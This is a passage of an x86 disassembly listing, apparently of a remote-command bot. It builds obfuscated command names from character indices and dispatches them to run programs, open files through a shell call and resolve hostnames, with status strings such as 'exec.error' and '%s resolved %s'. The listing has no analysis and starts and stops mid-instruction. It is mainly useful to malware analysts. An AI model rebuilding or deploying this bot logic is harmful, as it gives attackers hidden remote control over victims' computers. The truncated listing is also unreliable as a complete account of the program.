[esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h dd 0E8FFFFCDh, 23EC222h, 0B8C88B90h, 10624DD3h, 0EAC1E1F7h dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448CA2 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447158 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60D9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60B5 call sub_401D0C call edi mov dword_4D60D9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax call near ptr 2800000h nop lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 call near ptr 27F0D7Bh nop test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478D6 test al, al jz short loc_404EE0 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44791F test al, al jz short loc_404EF8 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DB0 call sub_401E5B mov byte_4D60CC, 0 mov byte_4E6E84, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E9A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60CC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, 